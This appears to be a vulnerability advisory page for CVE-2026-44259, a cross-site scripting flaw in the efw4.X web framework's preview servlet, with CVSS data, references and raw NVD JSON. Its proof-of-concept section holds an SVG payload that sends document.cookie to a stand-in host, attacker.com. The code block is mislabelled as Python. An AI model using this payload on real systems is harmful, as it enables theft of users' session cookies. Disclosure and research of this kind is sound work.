CVE-2026-44259

Description

efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the previewServlet serves files with their detected MIME type based on file extension, without any content sanitization or security headers. Files with .html, .htm, or .svg extensions are served as text/html or image/svg+xml respectively, causing any embedded JavaScript to execute in the victim's browser within the application's origin. This vulnerability is fixed in 4.08.010.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

efw4.X < 4.08.010

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-44259 -->
<!-- Save as exploit.svg or exploit.html -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    alert('CVE-2026-44259 XSS Executed');
    // Simulate data exfiltration
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
</svg>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44259
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44259
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44259/
[4] VulDB https://vuldb.com/cve/CVE-2026-44259
[5] https://github.com/efwGrp/efw4.X/security/advisories/GHSA-hw67-p3gw-rrmj

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44259", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:36.277", "lastModified": "2026-05-12T22:16:36.277", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the previewServlet serves files with their detected MIME type based on file extension, without any content sanitization or security headers. Files with .html, .htm, or .svg extensions are served as text/html or image/svg+xml respectively, causing any embedded JavaScript to execute in the victim's browser within the application's origin. This vulnerability is fixed in 4.08.010."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://github.com/efwGrp/efw4.X/security/advisories/GHSA-hw67-p3gw-rrmj", "source": "[email protected]"}]}}